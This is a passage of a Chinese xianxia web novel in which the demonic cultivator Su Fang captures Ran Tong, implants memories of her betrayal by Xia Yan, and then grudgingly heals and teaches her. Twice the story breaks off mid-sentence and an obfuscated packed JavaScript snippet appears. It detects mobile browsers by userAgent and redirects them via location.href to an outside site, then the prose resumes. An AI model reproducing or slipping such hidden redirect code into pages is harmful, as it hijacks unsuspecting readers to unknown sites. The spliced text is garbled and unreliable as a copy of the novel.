偏执的人不会客观思考问题,她丝毫想不到夏炎设禁制的目的是保护冉彤,并没有专门针对谁。只顾贯彻对他的偏见,恨他冷酷无情地将她置于绝境,恨他将自己宝贵的真心视为粪土。 她猛地抬头瞪向冉彤,仿佛看到了夏炎的影子,眼中秋水翻做怒涛。 冉彤对上她的目光就像被重重剜了一刀,身体随即被怪力抽飞,带着滚滚尘土和气浪,如流星般凿穿岩石树木撞在一处山体上,随着飞溅的石屑滚落在泥泞中。 天旋地转,筋骨散架,脏腑移位,七窍流血,没有玄鳌灵甲和墨池赠与的强健体魄,她已跟随鬼差上路了。 禁锢倒是解除了,她赶紧用冰心诀治愈伤势。再睁眼,苏芳已闪到近处,厉鬼似的步步逼近,显然还准备拿她泄愤。 还手是找死,自卫也枉然,冉彤精于计算的大脑匆忙给出提示,调度她的嘴和声带放声哀求:“干娘饶命!干娘饶命!” 苏芳定住腿脚,犹豫在杀气中若隐若现。 有效果! 冉彤再接再厉跪好,垂着头拱手求饶:“这真不干晚辈的事啊,求干娘行行好,饶晚辈一命!” 她一口一个“干娘”,天降甘露般硬是将苏芳的滔天怒火压下去。 女人喘着粗气瞪了她半晌,使劲啐骂:“谁是你干娘,再鬼叫就割了你的舌头!” 明白暂时远离毒手了,冉彤偷咽一口唾沫,改用痛哭表现恐惧,双手抱头缩成团状,俨然受惊过度的小动物。 苏芳看她这情态确实还是个稚气犹存的孩子,也不曾得罪过她,替夏炎抵命有点冤枉,便厉声恐吓:“不准哭,抬起头说话!” 冉彤听话照办,特意借擦泪的动作用脏手抹了抹脸,好让自己看起来更可怜,但那层污垢很快被苏芳擦去了。 “别皱着脸,做个端庄点的表情。” 她凶巴巴下令,冉彤乖顺依从,接连应她要求展示了喜、怒、哀、乐各种神态。 苏芳眼里的嫌弃越来越浓,两千多年岁月沉淀将她的审美标准抬高到了超凡脱俗的境界,加上本人就拥有倾国倾城的美貌,真觉得眼前这丫头连庸脂俗粉都算不上,细看全是缺陷。 “亲生女儿不要,却捡个丑丫头做女儿,他别叫夏炎了,正经该叫眼瞎!” 只要能活命,冉彤一点不介意做丑八怪,况且苏芳这种大美女绝对有资格鄙视她的长相。 她畏畏缩缩装哑巴,除了胆怯不敢流露任何对抗情绪。 苏芳看她还算老实,恶念又淡化了许多,语气也没那么狂躁了。 “别以为有夏炎的保护禁制老娘就撬不开你的嘴。” 冉彤不等她威胁主动示弱:“前辈想问什么尽管问,晚辈敢有半句欺瞒,任凭您发落。” “你叫什么名字?” “晚辈贱名冉彤,出自烈阳冉家。” “冉家?你爹娘是谁?” “家父冉鸣玉,家母柳飞绵。” “哦,你是那对小夫妻的孩子啊。” 冉彤看苏芳反应似乎与她父母有旧,印象也还不坏,便小心套近乎:“前辈认识晚辈的爹娘?” 见苏芳眉心起皱,慌忙缩颈闭嘴。 “问你话少扯别的!” “是是。” “先把你遇见夏炎以来的经历统统交代清楚,别像木鱼似的敲一下回一句。” 糊弄高阶修士等于用麻绳提豆腐,冉彤思忖犯不着冒这个险,首先她和夏炎清清白白,其次没与七曜城为敌。苏芳还不知道她得罪了秦不羁,一时半会儿也碰不着老秦,所以实话实说最安全。 她从双亲被云家迫害致死讲起,细述了自己逃婚后与夏炎从相识到结伴的全过程。 期间密切关注苏芳的反应,发现她完全不了解当今修真界的大事要情,可能一直浑浑噩噩沉浸在自己的小世界里。 得知夏炎是在对冉彤进行搜魂后才认她做干女儿的,苏芳顺利接受了这个非常合理的谎言,也由此将冉彤归入无害一栏。 然而她的神色并未因此和善,脸上仍堆满雷打不动的黑云。 “姓夏的跟你提过我吗?” “……没有。” “上次他在襄北换形躲我,你没问他原因?” “问了,他不肯说。” 冉彤看出苏芳对夏炎又爱又恨,内心积压了太多委屈和痛苦。如今好不容易遇上一个和夏炎有关联的人,自然会点燃她的倾诉欲望。自己不妨利用她这种心理需求,一方面让她发泄不满,稳定情绪。一方面趁机拉进距离,求取平安。 她心思电转,不失时机地小心询问:“苏前辈,您和干爹为什么会有这么深的矛盾啊?” 苏芳的视线腊月寒霜般射向她,她心脏收缩,忙不迭摆手道歉:“晚辈不该多嘴过问长辈的隐私,求前辈恕罪!” 苏芳的冷哼像刀背劈在她脊梁骨上,富有威力但没带杀气。 “你是如何看待夏炎的?” 这问题很考验智慧,冉彤想苏芳迷恋夏炎上千年,必然十分肯定他的优点,贬低夏炎非但不能讨好她,还会引起反感。但是,她又对夏炎憋了一肚子气,回答时还必须兼顾她的感受。 她的脑子如同高速转动的走马灯,闪过各种措辞。片刻后脸上堆出恰到好处的卑微笑容,娓娓说道:“干爹法力顶尖,人品贵重,曾数次搭救晚辈于危难中,是晚辈的恩人和亲人,晚辈发誓终生追随,赴汤蹈火在所不辞。不过……”她话锋一转,怯生生望向苏芳。 “晚辈很奇怪,干爹这么好的人怎会让您如此痛恨呢?” 苏芳冷笑:“你想说跟他作对的都是恶人歹人,包括老娘?” “当然不是!前辈还记得上次见面时晚辈就断定您是好人,此刻依然这么认为,才敢斗胆询问。晚辈想陷害干爹的人那么多,会不会是小人从中挑拨,令二位产生误会。” 话语被苏芳利剑般的呵斥斩断:“死丫头就会自作聪明,老娘又不是三岁小孩,岂会受人挑拨?” 她发泄着被顶撞的恼怒,身上涌出黑烟,仿佛酝酿风暴的乌云。 冉彤重新爬伏在她脚下,带着哭腔悔过:“前辈息怒,晚辈实在不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022683|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍心看您和干爹闹矛盾,故而忍不住妄自揣测,今后再也不敢了!” 她已摸清苏芳是吃软不吃硬那一挂的,做小伏低准没错。 苏芳还在气头上,两眼充血,粉面潮红,盯着她詈骂:“根本没有误会,从头到尾都是他花言巧语再三诓骗我,占了我的身子,搞大我的肚子,还亲手杀死我们的孩子!只要还有一口气,我绝不会原谅他!” 她声嘶力竭吼叫,像点燃的爆竹克制不住怒火。 冉彤哪敢吭声,只在心里嘀咕。 以老鬼的为人绝计干不出这些事,中间必有隐情。 苏芳肆意谩骂一通,情绪有所缓和,看到冉彤避猫鼠似的可怜相,猜她正默默否定自己的说法,恼怒静静蠢动,沉默一阵命她站起来。 “我知道你心里向着他,以为我在造谣污蔑。老娘今生从未撒谎,姓夏的对我们母女干的坏事我都一五一十记着,多说无益,你自己看吧。” 她食指按住印堂,抽取相关记忆提炼成结晶植入冉彤神识。 冉彤被动承受法力入侵带来的眩晕,一段鲜活的记忆飞快涌入。 当年苏芳潜心修行,如同空谷幽兰远离红尘,面对多如过江之鲫的追求者,她始终心如止水,波澜不兴。 夏炎是她的同龄人,且成名已久,她当然知晓他的种种传闻,也曾于数次会面中对其积累了一定好感,但也仅仅停留在欣赏层面,没有演化出超常的感情。 直到他们一同出席某场由修真大能举办的论道集会。 那天风和日丽,阳光如细碎的金箔洒满会场。 苏芳置身其中觉得周遭的一切都索然无味,满心枯燥和寂寥。 那些高谈阔论的修士在她看来都是一群俗不可耐的庸人,她厌恶他们藏在虚伪面具下的肮脏欲望,觉得同他们打交道会拉低自身境界,于是百无聊赖地坐在角落里,若非师弟白子落一再恳求挽留,她早已抽身离去。 就在她烦不胜烦,随处张望时,目光受冥冥中的孽缘牵引扫向不远处的人群,忽然看到夏炎正站在人群中笑微微望着她。 那一刻时间停顿,视野如同褪色的画卷黯淡无光,唯有他的影像似清晨的光束映入眼帘。 冉彤通过苏芳的视角观看当时的夏炎,随之惊艳。 他那超逸出尘而又神秘庄重的气质为他挺拔俊雅的身姿笼了一层梦幻般的光晕,让人忍不住想要靠近。 眉目间流露的温和与谦逊宛若春日和风,令人心旷神怡,最迷人的是那脉脉有情的微笑,像一泓从远古流淌至今的灵泉,饱含生机与活力,又似一首悠扬的乐曲,演绎着曼妙的旋律。 老鬼太好看了,他这样对着女儿家微笑,分明是在挑逗人的春心嘛。 连她都这么认为,可见苏芳并没有自作多情。 她真以为夏炎在向她传递爱慕,心跳陡然加快,心弦似被一双温柔又唐突的手轻轻撩拨,泛起从未有过的悸动。 她怔怔回望他,像中了法术不能动弹,呼吸变得急促,脸颊微微泛红,感觉世间所有美好都汇聚到了这一刹那。 冉彤发现夏炎的表情很快混入一丝窘促,转身与周围人交谈,没再多看苏芳一眼。 可是他的笑容已深深烙印在了苏芳脑海,在其后的日子里让她魂牵梦萦。 当她在静夜里仰望星空时,闪闪繁星会聚集成他的影像。 当她白日忙碌,沉浸于修行时,他的脸会毫无征兆闯入意识,令她无所适从。 她觉得夏炎像一阵穿堂风,在她心里来去自如,捉摸不透。有时似乎近在眼前,随时随地伴着她,有时遥不可及,让她体味辗转反侧的焦虑。 她的道心不再澄澈,定力不再稳固,心里时常装着夏炎的点点滴滴,不自觉地在万事万物上寻觅他的身影。 她终于明白,她爱上他了。 认识到这点,她兴奋欣喜。她所修的道法本就注重阴阳调和,男女双修。若能找到命定的挚爱,与之携手修炼,将大大缩短修行进程,一齐尽早突破境界。 她坚信先动心的人是夏炎,不然怎会赠她那样温柔甜美的笑容。她向往着两情相悦的未来,甘愿放下所有骄傲和防备,全身心奔赴对方。 可是所历与所想背道而驰,这段情缘令她的人生急转直下,之后重重劫难,不堪回首。 71.畸恋 表白的那日,苏芳满怀期待站在夏炎跟前,心如脱兔,声音里带着一丝不易察觉的颤抖。 夏炎的反应却是莫名其妙和愕然,没等她说完便委婉拒绝。 苏芳以为他脸皮薄,羞于被动,还自悔冒失,此后努力找机会接近他,营造水到渠成的时机。 可她越试图亲密,夏炎越拼命疏远,当她忍不住再次告白,他仍旧推脱。 开始的借口是仇家众多,会给她带来无穷的麻烦和危险。 后来又说自己并非良人,配不上她这样出众的女子。 苏芳总是毫不犹豫宽慰他,想尽办法表达诚挚,却始终越不过他架设的高墙。 冉彤和夏炎认识的时间比她短得多,但对老鬼的了解远远超过她,获悉这段记忆后判定夏炎并非欲擒故纵或者心存顾虑,是真对苏芳无意,又怕伤了女方的自尊,不惜自我贬低来让她死心。 他遭难前真是个老好人,上千岁了还一副菩萨心肠,对付苏芳这种耿直人,婉转体贴只会加深误会,还不如冷面毒舌直接翻脸呢。 当断不断反受其乱,他如今的果决都是惨痛教训堆出来的吧,幸亏命大才有完善自我的机会,我能在他重生后跟他打交道也算坐享其成。 信息还在持续输入,那段日子里苏芳陷入莫大的痛苦与迷茫,终日患得患失,进无路,退不舍,终于在一个电闪雷鸣的夜晚,压抑的情绪彻底爆发。 她冒雨去见夏炎,悲愤地要同他做个了断。 “今日若得不到你的回应,我只能杀了你稳固道心!” 她动用杀招威胁,心里很清楚这不过是在逼他就范。 面对她失控的追击,夏炎无言以对,处处避让,最后宁愿被她打伤也不曾还手,更没有妥协。 见他强忍伤痛劝说自己,苏芳心碎不已。 看到她被泪水雨水模糊了视野,冉彤也很难受。 求而不得的爱是漫长寒冬,攻击人们内心最柔软的部位,践踏人们最美好的愿景,引发无尽的自我否定,让人陷入卑微、怯懦、彷徨的泥沼。 从小父母就教育她:“除非别人先喜欢你,你才能喜欢他。” 遵照这个告诫,她一直只对真心喜爱她的人付出感情,饶是如此也教背叛伤透了心,看到苏芳的经历,她对爹娘的忠告有了更深刻的理解,也对苏芳产生深深的同情。 那场风波后苏芳绝望离开,远遁到归墟隐居,终止一切人际交往,只接受师弟白子落每半年一次的探望。 她试图在那与世隔绝的地方断情绝爱,治疗破碎的心伤,每日伴着清风明月修行,表面岁月静好,内心的伤痛却未愈合。 十年后一个晴暖的下午,她正在溪边散步。 青山意绵绵,落花如红雨,她低头看着水面上自己形单影只的倒影,心有所寄,此般美景情难已。 贪吃的鱼儿结队啄食漂浮的花瓣,弄碎了她美丽的倩影,她微微蹙眉,埋怨鱼群也欺她落寞,使坏乱她的心绪。 不久水面渐渐恢复平静,她的倒影旁出现了那个日思夜想的人影。 她难以置信地转头,夏炎竟真切地伫立在身旁,眼中柔情恰似无边春色。 她像泥土被春雨般的激情融化,不能说不能动,任凭他轻轻握住她的手。感觉到他的体温,甜蜜与迷茫在她心里形成混沌,而后化作无措的泪水夺眶而出。 “苏芳,过去是我不知好歹,你离开的这些年我终于想通了,你才是我此生不可或缺的眷恋,今后我定不负你。” 冉彤真想拿映真镜照一照这段记忆里的夏炎,凭直觉判断这是个赝品。 老鬼对待心爱的女人可能很温柔深情,但不会使用这么肉麻直白的措辞,我敢拿人头打赌,这人不是他。 她的怀疑于事无补,反正苏芳深信不疑,当场紧紧回握夏炎的手,好像抓住美妙的幻觉,生怕一松手就成镜花水月。 自那以后归墟变成甜梦乡,遍布二人如胶似漆的踪影。 他们在花前并肩依偎,折枝互赠,耳鬓厮磨。 他们在月下携手漫步,你侬我侬,互诉衷肠。 他们在溪畔欢快嬉戏,情如流水,连绵不绝。 他们在树下促膝长谈,树荫斑驳,良宵旖旎。 那是苏芳生命中最幸福美满的岁月,每一天都浸在蜜里,每一天做为生命的终点,她都死而无憾。 好景易逝,过了三年,到了夏炎许诺的正式与她缔结道侣契的日子,她提前邀约白子落做凭中人,盛装打扮,等待爱人前来迎娶。 谁知从破晓等到黄昏,夏炎终未现身。 她心似油煎,以为他出了意外。 白子落自告奋勇替她去寻人,次日郁闷归来,看着她憔悴焦急的面容欲言又止,经她再三追问方愤恨难平地告知:“师姐,你被夏炎骗了。那人说他从未与你定情,还说这三年和你见面厮守的人都不是他,更不可能同你结道侣。” 冉彤只听白子落一面之词也能想象夏炎得知消息时多么震惊窘促。 她看过苏芳三年的情爱记录,鉴定那骗子的言行做派一点不像夏炎,定是某个修为颇高的淫贼冒充的。 老鬼当时想必傻眼又急眼,否定和苏芳有染是真的,但语气绝不像白子落转述的冰冷生硬,大概很替苏芳义愤,想揪出骗子挫骨扬灰。 苏芳哪有她清醒,被这晴天霹雳轰得头晕目眩,不敢相信自己的耳朵,不敢相信那些深情的誓言,恩爱的时光都是虚假的。不顾白子落阻拦,急着去找夏炎对质。 精神濒临崩溃时,夏炎出现了。 见他行色匆匆,眼中尽是焦灼与关切,冉彤真替他着急。 那么体面的人偏偏碰上这么不体面的是非,还赶在节骨眼上送去给人家泄愤,他就不能先心疼心疼自己? “苏道友,那骗子如此欺辱你,夏某定会为你讨回公道!” 他的愤慨声明将苏芳推入魔怔,在呈现痛苦与绝望的表情后,凄厉大笑,疯癫神态让冉彤连连胆寒。 “夏炎,你是我见过最阴险最卑鄙最虚伪的恶棍!” 白子落愤怒帮腔:“夏炎,我师姐对你倾心相许,你竟如此狠心诓骗她,今日我不替她出口恶气便枉自为人!” 他狠辣出招,没留丝毫情面。 夏炎被迫抵挡,与之进行了一场险象环生的激战。白子落终非对手,被他从高空中击落,伤得不轻。 苏芳彻底失去理智,疯狂嘶吼着冲向夏炎,以爪为刃,一招洞穿了他的胸腹。 冉彤看得很清楚,夏炎根本没躲,还在苏芳得手后忍痛开导。 “你若能好受些,不妨多刺几下。” 老鬼明明你也是受害者啊,凭什么给人当出气筒,这下搞得像心虚抱愧,更是跳进海里也洗不清!我看你分明是想让自己心里好受些吧,骗人坑人的又不是你,你内疚个什么劲儿?傻子!蠢货!糊涂虫! 冉彤想呐喊、尖叫、大声咒骂,像目睹一只误入狼群的羔羊,因无法拯救它而万般抓狂,泪眼婆娑。 再细看夏炎那无奈隐忍的神情,千万根有毒的螯刺同时刺入她的心房。 笨老鬼,你的善良就是朝内的刀尖,只会戳伤自己。怪不得那么多人陷害你,还要被最亲近的人背叛,是你自身的道德感出卖了你,假如当年你坚定地做一个恶人就不会被厄运相中…… 违心的责怪加剧了心痛,她深知不该否定夏炎的正直,就像不该指责被阴霾围困的皎月,被泥沙掩埋的宝石。她真正怨责的是欺善怕恶的歹人,有眼无珠的愚人,还有无能为力,年少弱小的自己。 强制侵入的记忆没因她的感受中断,只见苏芳的手掌还插在夏炎胸口,鲜血顺着手腕汩汩流下,晕染出一片触目惊心的殷红。 她浑身发抖,脸上的愤怒渐渐被惨痛和迷茫取代,稍后潸然泪下,凄婉质问:“夏炎,求你说实话,你究竟有没有心悦过我?” 夏炎面色苍白,嘴角渗血,表情却是放下顾虑的坦然,缓缓开口:“我从来无意于你,否则怎会再三拒绝?不管你信不信,骗你的人真不是我。” 这句话将苏芳的心砸得粉碎,眸光霎时昏暗,熄灭了一切希望,恍惚地抽出血淋淋的手掌。 夏炎随之晃了晃,仍稳稳屹立,像时刻等待她新一轮的发泄。 苏芳早已丢了魂,踉跄着转身急走。脑海里不断切换与夏炎相处的画面,那些缱绻的回忆犹如刀片不停歇地剔割她,又像世间最沉重的悲伤,压得她喘不过气。 山间荆棘接连恶意撕扯她的衣裙,条条随风飘摇的褴褛仿佛命运的嘲弄,又像被揉碎的美梦,再也拼凑不出完整的模样。 如云的青丝凌乱披散,歪斜欲坠的发髻也在宣告她的失败。 这副承载着她无限憧憬和幸福向往的新娘装扮见证了她的耻辱悲怆,那鲜艳的红色刺目刺心,每看一眼都在提醒她所遭受的背叛与殇恸。 此情此景让冉彤的思绪飘回她在新婚夜狼狈逃生的光景。 那时的她何尝不是这般绝望无助,命运在本该是最美好的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自那以后苏芳沉沦暗夜,曾经霁月光风的女修被怨毒的魔焰灼烧得面目全非,再不复往昔风采,犹如受诅咒的冤魂终日徘徊在癫狂中。 她做不到对夏炎下杀手,便将恨意导向世间的“负心人”,用这些卑劣者的性命宣泄痛苦。 她孤单的身影幽灵般游走各地,制造无数腥风血雨。那冤死的胎儿被她练成婴灵,母女相伴,在废墟火海中留下一阵阵撕心裂肺的哭嚎。 杀戮累积为她博得“断子绝孙”的名号,曾经爱慕她的人都对她避如蛇蝎,她从万众敬仰的仙子沦为人人唾弃的疯妇,如同璀璨的明星坠入黑洞。 她不知道自己为何会在淤泥里越陷越深,每当她试图停下疯狂的脚步,痛苦的洪流就会将她吞没。她不能清醒面对挫折耻辱,必须靠发疯麻醉神经,在肆无忌惮的破坏中忘却那些刻骨铭心的伤痛。 不知过了多少年,那悲剧的主谋意外地找到她,劝她别再堕落。 苏芳用狂躁粗暴的打骂招待他,一双利爪在他身上抓出条条血痕。 夏炎并未还手,后见她失控自残才用强制止,犹豫着恳求:“苏芳,请给我一年时间。一年之后我定会给你个交代。这期间请您停止那些暴行,冷静休养。” 他态度诚恳,像极了负荆请罪。尽管将信将疑,苏芳依然心软应允,在煎熬猜疑中等了一年,日盼夜盼等来的却是夏炎与别的女人结为道侣的消息。 她的世界又一次全面坍塌,行尸走肉般去找他算账。 那混蛋满眼歉疚地看着她,踧踖道:“苏芳,我愿意对你做任何补偿,唯有感情之事,我实难勉强。” 一场惊天动地的战斗过后,双方变成不死不休的冤家。 让夏炎痛苦成为苏芳余生的信念,仇视一切与他有关的人和事,甚至他最常穿着的蓝衣也成为她最痛恨的色调。 她曾闯入他的领地大肆搞破坏,烧毁他的洞府,伤残他的徒弟部从,多次骚扰那个成为他妻子的女人。 夏炎一直容忍,只要不危及人命,他对苏芳能让则让,能避则避,躲债似的不敢与她有任何交集。 冉彤回忆襄北衣帽行里他察觉苏芳到来时的惊慌反应,不难想象他当年饱受困扰的境况。 她相信夏炎最后那次对苏芳允诺并非故意欺骗,定有不可说的原因和苦衷。但这些都不重要了,二人此生已无和解可能,当下她应当全力自保,毕竟自家小命比他们老年人的爱恨情仇金贵多了。 72.撞大运 记忆植入完毕,冉彤浑身酸痛地瘫坐在地上,她用区区十九年的生命承接了苏芳数百年的经历,精神过度损耗造成的虚弱是普通疲劳的数十倍,没有神木牌和凝魂珠护持,已然伤及神识。 苏芳人虽疯狂,心眼尚未恶毒透顶,没轻没重伤了她,还肯补救,念清心咒助她疗愈精神,待她清醒后诘问:“你已知晓夏炎的所作所为,还要帮他说话吗?” 冉彤模棱两可回答:“照前辈的记忆看您千真万确是苦主,晚辈见识浅薄,想不通个中原由,不敢胡乱评说。” 苏芳不指望这狡猾的丫头向着她,绑架她旨在要挟夏炎。 先前的几场拼斗令她法力透支,须休整恢复,冷哼着喝令:“老娘要歇会儿,你在这儿老实待着。我已屏蔽了夏炎加在你身上的追踪禁制,别指望他会来救你。” 她将冉彤圈禁在法阵内,去僻静处养精蓄锐。 那法阵泛着幽幽红光,光幕上布满眼睛形状的符文,无死角地监视阵中人,真是插翅难逃。 冉彤紧张思量:那女人阴晴不定,待会儿没准又会发火虐待我,她下手没节制,被她弄死岂不冤枉?得找个保命的法子。 她根据苏芳的性情想好对策,决定用苦肉计。 我先把自己弄个五分伤,再装到十二分,她看我难受就不会主动折磨人了。 自残肯定不行,得制造被动受伤的假象,最简单合理的办法就是破坏这座法阵。 她蓄积灵力,十指扣握成锤猛砸光罩。 法阵光芒大盛,眼睛符文瞬间变形成一张张血盆大口凶猛扑咬她,这些嘴的咬合力堪比猛兽,咬定便不松口。 冉彤身上顷刻出现十几道深可见骨的伤口,甩不掉,躲不过,惊慌地呼喊尖叫。 她双手乱抓,一张嘴避开防御扑向她的脖颈。 喉头已感受到刀锋般的寒气,周围红光陡然熄灭,符文尽数消失了。 “死丫头你真活腻了!” 苏芳瞪着痛苦倒地的少女,暴躁地用脚尖扬了她一身沙土。 冉彤体无完肤,后悔小瞧了法阵的反噬强度,所幸受的都是外伤,为了装可怜,忍着没用冰心诀治疗,爬伏着哀声呻吟,疼痛剧烈,不用演戏便能声泪俱下。 苏芳数落:“又鬼叫又鬼叫,你舌头不要了?” 冉彤惨兮兮哭诉:“非是晚辈故意吵闹,实在是疼得受不了,求前辈息怒。” 我都这么惨了,她该不会再害我了。 苏芳透过血污看清她的伤势,眉毛仿佛两座秀峰微微靠拢,啧了啧嘴向她注入疗伤的法力。 伤口立刻止血愈合,皮肤光滑如初。 冉彤以为她会拍手称快或冷眼旁观,未曾料到她会救人。 这意外没改变既定计划,她保持痛苦表情,病恹恹哼唧:“谢前辈搭救,可晚辈还是很难受,脑袋和骨头缝里像有许多小虫子往里乱钻,哎哟~哎哟~” 苏芳以为她修为低,受了内伤,嘴上骂骂咧咧,却源源不断输送治愈之力,而后吩咐:“坐起来,运功调息。” 冉彤“挣扎”爬坐,用“潜机蛰息法”疏通筋脉,一股钢锥般的力道突然扎向丹田,疼得她直叫唤。 这是苏芳刚才注入的灵力,她堕入魔道多年,所修功法邪性霸道,冉彤的气海受其污染,,气血紊乱,百脉逆行,辛辛苦苦积累的修为眼看要毁于一旦。 她冷汗淋漓,身体如乩童乱战,拼命运功却丝毫不能缓解雪崩般的痛苦,恐慌中强烈自责,怪自己聪明反被聪明误。 苏芳分外焦急,她独来独往上千年,很多与人打交道的常识都生疏了,一时忘记正魔两道的功法相斥,不慎对冉彤造成致命伤害。 “死丫头就会添乱!” 她拉起倒地的少女,施法镇压她体内作乱的灵力,大声下令:“清醒点,快照我说的做!” 声音里充满不容置疑的权威,促使冉彤打起精神,按照她教授的口诀调整脉象。 以神为引,以意御气,收拢全身灵力,沿命门、夹脊、玉枕过膻中、中脘、神阙归入丹田,循环形成小周天…… 这功法颇有奇效,奋战一炷香时间,身体的异动渐渐消失,丹田创痛尽除,那股邪性的灵力被完全炼化,仿佛接受招安的匪徒融合到气海里去了。 她深深吐纳,缓慢睁眼,怀着劫后余生的庆幸,感激地向苏芳叩首。 “多谢前辈出手相助,救命之恩,晚辈没齿难忘。” 她没撒谎,真拿苏芳当恩人,进一步确定对方的凶悍里藏着发自天性的善良。 苏芳白眼相看,啐骂:“少给老娘戴高帽,再有下次老娘绝不会管你!” 对付嘴毒心善的人,脸皮够厚便能游刃有余。 冉彤哈腰赔笑:“前辈教训得是,晚辈再有十个胆子也不敢再造次了。敢问前辈方才传授晚辈的是何种功法?效力如此神奇,一定大有来历。” 苏芳瞥了她良久,看她笑意不减,方冷傲解说:“此法名为‘海纳百川诀’,是我钻研多年总结出的独门秘术。可吸纳不同流派的灵力,无论正魔妖鬼皆能兼容并蓄,化为己用。你这丫头造化不小,竟平白占了大便宜。” 冉彤大喜,很认同她最后的评价,她每每遇险都能山重水复,收获丰厚,当真洪福齐天。 学了人家的功夫就算半个徒弟,她端正跪拜,以敬师礼向苏芳磕了三个头,由衷感谢她的赐教。 小辈眼明心亮嘴巴甜,就不愁在长辈跟前吃不开。 付出通常会衍生出珍惜,虽说苏芳传功纯系情非得已,可因果既成,恩惠都给出去了,再对冉彤心狠手辣就是跟自个儿过不去。 她下意识收敛了凶恶,对这丫头仍满心反感,却已没了杀人的冲动。, 冉彤直觉苏芳不会加害她了,尽力奉送招牌式的可爱憨笑,希望以此讨好她。 那小模样俨然向成人寻求庇护的幼儿,专门俘虏良知爱心。 苏芳不允许自己对她心软,横挑鼻子竖挑眼地找毛病,盯着她的着装问:“这套衣服是在襄北衣帽行买的?” “前辈怎么知道?” “这缝纫手艺一看便知。” 缝纫也是修真界一门重要技能,冉彤见她能通过服装的剪裁风格判断出处,想必是行家里手。 她预感苏芳此番提问是在针对夏炎,紧张等下文,听她问:“是夏炎买给你的?”,惴惴地点了点头,不敢吐露一个字。 女人的嫉妒心是洪水猛兽,但愿这身衣服别触碰她的霉头。 苏芳相信冉彤和夏炎没私情,飞醋吃不到她身上,只想借机辱骂负心汉,刻薄道:“什么狗□□光,土里土气难看死了!” 冉彤咬唇抿嘴,直到苏芳命令她脱掉衣裙才委委屈屈瞄她一眼。 “看什么?让你脱就脱,别磨蹭!” 冉彤只当疯婆子在羞辱她,这种程度的打击还伤不到她的自尊,连忙脱得一干二净。 苏芳用树叶和茅草做了一条毯子扔给她遮羞,拿着她的衣服闪逝。 冉彤吃过苦头,不敢动逃跑的念头,披着毯子原地待命。 微风轻拂树梢,树叶沙沙低语,似在诉说不可告人的秘密。她心慌意乱,入耳的声响都嫌烦,连不远处澹澹的溪流声都像在催促什么,令她焦虑难安。 抬头望向晴空,多盼望某块蔚蓝里能出现夏炎的身影,又怕他和苏芳碰面再起冲突,闹个两败俱伤。 不久苏芳回来了,将衣服随手丢还给她。 冉彤接住,发现衣服经过清洁修补,破损的地方都消失了,外观也和之前大不一样。 领口处细密的针脚勾勒出精致的梨花花纹,栩栩如生,生动优美。 袖口被巧妙地收窄,用丝带编织出花边,镶嵌了细碎的白宝石,好像采撷了两袖阳光。 裙摆处也以独特针法绣出层层叠叠的花瓣,每一簇都饱满而有质感,仿佛能嗅到馥郁的花香。 冉彤不免惊喜,小心问:“苏前辈,这衣服是您改的?” 苏芳讥诮:“不是老娘还能是谁?快穿上试试。” “欸!” 冉彤兴高采烈穿上衣裙,上身效果可谓完美。 苏芳对衣衫款式进行了大幅度修改,抬高腰线,加宽裙摆,巧妙遮蔽了冉彤体形上的不足,显得腰更细,腿更长,看上去亭亭玉立,玲珑有致。 她临溪照影,开心得忘记正身处险境,欢笑着赞美那杀人不眨眼的女魔头。 “前辈的手艺太高明了,晚辈以前从没见过比家母 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苏芳瞅她半晌,冷嗤:“你爹娘都是老实人,怎会生出你这种鬼机灵。” 冉彤想这时打听她和父母的关系应该无妨了,大胆发问:“家父家母也曾受过您的关照?” 苏芳想了想,反问:“你娘在和你爹成亲前跟别的男人好过,这事你可知道?” 见冉彤点头,又问:“知道多少?” “……家母说此事晚辈迟早会知晓,与其听别人胡说不如她亲口陈述事实,所以事情的来龙去脉晚辈都了解得很清楚。” 苏芳忍不住发笑:“你娘还挺聪明,当年她那旧情人气不过,找到我,说他被你娘负心欺骗,求我帮他杀了你爹。” 冉彤先惊后怒,气愤道:“这人怎么这样呢?做事太没道理了!” 她本想骂那人是疯子,碍着苏芳临时改口。 苏芳说:“老娘专杀负心人,女子背信弃义也照杀不误,于是去烈阳找你父母,让他们同那小子对质,发现事实并不如他所说。” 她调查后证实柳飞绵离开前任的原因是彼此性情不合,分开多年才与冉鸣玉相识成婚,不存在背叛欺骗。 “老娘杀人都有依据,他们不在猎杀范围内,老娘便懒得管。不过那姓柳的丫头还真有种,修为差老娘一大截也敢跟老娘拼命,可比你有骨气多了。” 冉彤知道母亲是为爱奋不顾身的人,或许苏芳就是因为这点对其惺惺相惜,没伤害她的父母。 她为母亲骄傲,还通过这段对话对苏芳有了更深层的认识。 她是怕破坏娘在我心目中的形象才先问我知不知这件事,受过那么多伤害,疯颠上千年仍不失温柔底色,真是个好女人。 她发自内心地同情苏芳,因对方胸口泛起了一阵酸涩,决定假如她再和夏炎敌对,自己定要设法阻止,不让两个好人互相伤害。 苏芳不知道冉彤突然红了眼眶是为着她,只当她思念父母,觉得这丫头确实可怜见的,只要别碍事,自己犯不着再为难她。 “都怪你多事,老娘现在还没恢复元气,休息一夜,明天跟老娘去找姓夏的,再敢捣乱老娘就打断你的腿。” 她重新将冉彤关进法阵,去别处休整。 冉彤估计自身安全已有了保证,乖乖呆在法阵里琢磨新学的“海纳百川诀”。 这功法上手容易,其中还大有乾坤,值得深入细致地钻研。 她依照功法引导灵力在体内循环,惊喜地发现不同属性的灵力都能被服服帖帖地融合,产生新的灵力。 比如木与火、土、水、金融合会产生四种不同属性的风灵力,对应的法术可运用战斗、医疗、建造、交通等各种情况。 